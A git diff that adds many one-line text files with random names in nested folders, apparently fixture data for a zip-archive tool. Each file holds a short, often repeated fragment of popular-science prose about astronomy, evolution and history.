diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_znozaeltbahxzmzgyudmq.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_znozaeltbahxzmzgyudmq.txt
new file mode 100644
index 0000000..77d0633
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/file_znozaeltbahxzmzgyudmq.txt
@@ -0,0 +1 @@
+is seventy-five light-years away. The light by which we see it now has spent seventy-five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/imqkwccn.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/imqkwccn.txt
new file mode 100644
index 0000000..dd6d4d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/imqkwccn.txt
@@ -0,0 +1 @@
+A few million years ago there were no humans. Who will be here a few million years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/jcgxlvrnkspdlwnmztbejbts.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/jcgxlvrnkspdlwnmztbejbts.txt
new file mode 100644
index 0000000..37d3a86
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/jcgxlvrnkspdlwnmztbejbts.txt
@@ -0,0 +1 @@
+conjectures in science or religion. It is entirely undemonstrated; it may never be proved.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/kgbjdfwakbnwchr.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/kgbjdfwakbnwchr.txt
new file mode 100644
index 0000000..3ddfec7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/kgbjdfwakbnwchr.txt
@@ -0,0 +1 @@
+Waves of rumor and paranoia swept through the countryside, enveloping especially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/ljcwzamgpv.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/ljcwzamgpv.txt
new file mode 100644
index 0000000..65f6161
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/ljcwzamgpv.txt
@@ -0,0 +1 @@
+have been able to make the intended variety from the start? The fossil record implies trial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/oksuoeqyftcihdvrzykmrqd.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/oksuoeqyftcihdvrzykmrqd.txt
new file mode 100644
index 0000000..8af5914
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/oksuoeqyftcihdvrzykmrqd.txt
@@ -0,0 +1 @@
+announcement was greeted by a chorus of good-natured boos from the assembled reporters
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/qpbqejiocintetn.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/qpbqejiocintetn.txt
new file mode 100644
index 0000000..8074bb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/qpbqejiocintetn.txt
@@ -0,0 +1 @@
+and bloated, becomes a red giant, it will envelop and devour the planets Mercury and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/rmmeoozdqxhnyngouy.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/rmmeoozdqxhnyngouy.txt
new file mode 100644
index 0000000..05bb586
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/rmmeoozdqxhnyngouy.txt
@@ -0,0 +1 @@
+of small mutations that were by accident adaptive, time for the slow accumulation of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/saikonylvpcnxmai.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/saikonylvpcnxmai.txt
new file mode 100644
index 0000000..f2629a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/saikonylvpcnxmai.txt
@@ -0,0 +1 @@
+other planets should have life (why not?), a kind of life probably different from life as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/xgztxllthmajbufhw.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/xgztxllthmajbufhw.txt
new file mode 100644
index 0000000..7070d3a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/xgztxllthmajbufhw.txt
@@ -0,0 +1 @@
+and perhaps the human menstrual* period - of central importance for a passionate species
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/ymselcnwvlia.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/ymselcnwvlia.txt
new file mode 100644
index 0000000..c5127d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/ymselcnwvlia.txt
@@ -0,0 +1 @@
+of Copernicus and Kepler and found themselves aghast. In the early seventeenth century,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/yulairrdksxxqpsnv.txt b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/yulairrdksxxqpsnv.txt
new file mode 100644
index 0000000..4e886e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ptzamcbltj/folder_kvmbbfhogl/folder_zgsrrqewlk/folder_nogbxjvyml/yulairrdksxxqpsnv.txt
@@ -0,0 +1 @@
+The American mathematician Edward Kasner once asked his nine-year-old nephew
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_dywxtznrfigqadf.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_dywxtznrfigqadf.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_dywxtznrfigqadf.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_gookgfholnqqlxaynords.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_gookgfholnqqlxaynords.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_gookgfholnqqlxaynords.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_gqmiiebtnsldjqprl.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_gqmiiebtnsldjqprl.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_gqmiiebtnsldjqprl.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_gyzwybxjswijsmriyse.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_gyzwybxjswijsmriyse.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_gyzwybxjswijsmriyse.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_hmdqpoufipbxzvuqku.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_hmdqpoufipbxzvuqku.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_hmdqpoufipbxzvuqku.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_ipsohfmrmkvzpuba.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_ipsohfmrmkvzpuba.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_ipsohfmrmkvzpuba.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_kgpzpxoudcvpejisn.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_kgpzpxoudcvpejisn.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_kgpzpxoudcvpejisn.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_lekuqhijzrxig.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_lekuqhijzrxig.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_lekuqhijzrxig.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_nerhiwtcxfixxh.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_nerhiwtcxfixxh.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_nerhiwtcxfixxh.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_nnvjvyebkrxqm.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_nnvjvyebkrxqm.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_nnvjvyebkrxqm.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_rcoiyxmilyiqgvaxwyjgp.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_rcoiyxmilyiqgvaxwyjgp.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_rcoiyxmilyiqgvaxwyjgp.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_rnapptccaclb.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_rnapptccaclb.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_rnapptccaclb.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_rwcxbqkozrzrcahbxul.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_rwcxbqkozrzrcahbxul.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_rwcxbqkozrzrcahbxul.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_rwjcfihiel.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_rwjcfihiel.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_rwjcfihiel.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_rzogcxprdnjmlisfryukenz.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_rzogcxprdnjmlisfryukenz.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_rzogcxprdnjmlisfryukenz.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_tblllmuphglvhimm.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_tblllmuphglvhimm.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_tblllmuphglvhimm.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_tmzwmaeaqb.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_tmzwmaeaqb.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_tmzwmaeaqb.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_tomqwdlodvkojiwbrfxn.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_tomqwdlodvkojiwbrfxn.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_tomqwdlodvkojiwbrfxn.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_ukvpuyyarbwltgbmfru.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_ukvpuyyarbwltgbmfru.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_ukvpuyyarbwltgbmfru.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_vvsxfusufxdeqfxruwetpwza.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_vvsxfusufxdeqfxruwetpwza.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_vvsxfusufxdeqfxruwetpwza.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_ygbgvdvghnnmpeponyrgcn.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_ygbgvdvghnnmpeponyrgcn.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_ygbgvdvghnnmpeponyrgcn.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/file_zphmhzkfcxr.txt b/big_zip/big-zip-files/folder_qhscwikodv/file_zphmhzkfcxr.txt
new file mode 100644
index 0000000..96d81ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/file_zphmhzkfcxr.txt
@@ -0,0 +1 @@
+again of the cube, where every edge is a boundary between two squares. If we count up all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_aimolgjmiemwvunlnovovkcg.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_aimolgjmiemwvunlnovovkcg.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_aimolgjmiemwvunlnovovkcg.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_bsaahkstum.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_bsaahkstum.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_bsaahkstum.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_bxtfsvsdvmoagzdcfw.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_bxtfsvsdvmoagzdcfw.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_bxtfsvsdvmoagzdcfw.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_dcpcddkupj.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_dcpcddkupj.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_dcpcddkupj.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_exjdcwzh.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_exjdcwzh.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_exjdcwzh.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_fyhjynkfttivvgjayjpsiyu.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_fyhjynkfttivvgjayjpsiyu.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_fyhjynkfttivvgjayjpsiyu.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_krvshxujufx.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_krvshxujufx.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_krvshxujufx.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_lvdtlpjkooyapbrbuudxb.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_lvdtlpjkooyapbrbuudxb.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_lvdtlpjkooyapbrbuudxb.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_mufpkmgqmdhnmlypifhba.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_mufpkmgqmdhnmlypifhba.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_mufpkmgqmdhnmlypifhba.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_ntixpdudcoghoxjs.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_ntixpdudcoghoxjs.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_ntixpdudcoghoxjs.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_ofmibptyoiy.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_ofmibptyoiy.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_ofmibptyoiy.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_pncazjenzsieeybe.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_pncazjenzsieeybe.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_pncazjenzsieeybe.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_ramnftandtntmkulxvvoqt.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_ramnftandtntmkulxvvoqt.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_ramnftandtntmkulxvvoqt.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_rfigintp.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_rfigintp.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_rfigintp.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_rguqzgjgjon.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_rguqzgjgjon.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_rguqzgjgjon.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_rrnhzbpfojziarpomxjcv.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_rrnhzbpfojziarpomxjcv.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_rrnhzbpfojziarpomxjcv.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_swejoiczsyljd.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_swejoiczsyljd.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_swejoiczsyljd.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_tgpcrdevzczjajxgswd.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_tgpcrdevzczjajxgswd.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_tgpcrdevzczjajxgswd.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_vaykjzndfjwetrae.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_vaykjzndfjwetrae.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_vaykjzndfjwetrae.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_vleahcuwarsbalq.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_vleahcuwarsbalq.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_vleahcuwarsbalq.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_wfocemaiiwmkumuoegxhufu.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_wfocemaiiwmkumuoegxhufu.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_wfocemaiiwmkumuoegxhufu.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_xwsibgbtvfizfntlqzxi.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_xwsibgbtvfizfntlqzxi.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_xwsibgbtvfizfntlqzxi.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_zntnwmepf.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_zntnwmepf.txt
new file mode 100644
index 0000000..244c8a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/file_zntnwmepf.txt
@@ -0,0 +1 @@
+years).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_blxyffcdtnume.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_blxyffcdtnume.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_blxyffcdtnume.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_eqxnogojyddhyjzdnjkzyhim.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_eqxnogojyddhyjzdnjkzyhim.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_eqxnogojyddhyjzdnjkzyhim.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_fugjbcmuqoc.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_fugjbcmuqoc.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_fugjbcmuqoc.txt
@@ -0,0 +1 @@
+editing was invented there. The Old Testament comes down to us mainly from the Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_hgogtvvgawkodnxqnrwamlp.txt b/big_zip/big-zip-files/folder_qhscwikodv/folder_sqrsxethri/folder_uxoomfwmjg/file_hgogtvvgawkodnxqnrwamlp.txt
new file mode 100644
index 0000000..aa6941b
--- /dev/null
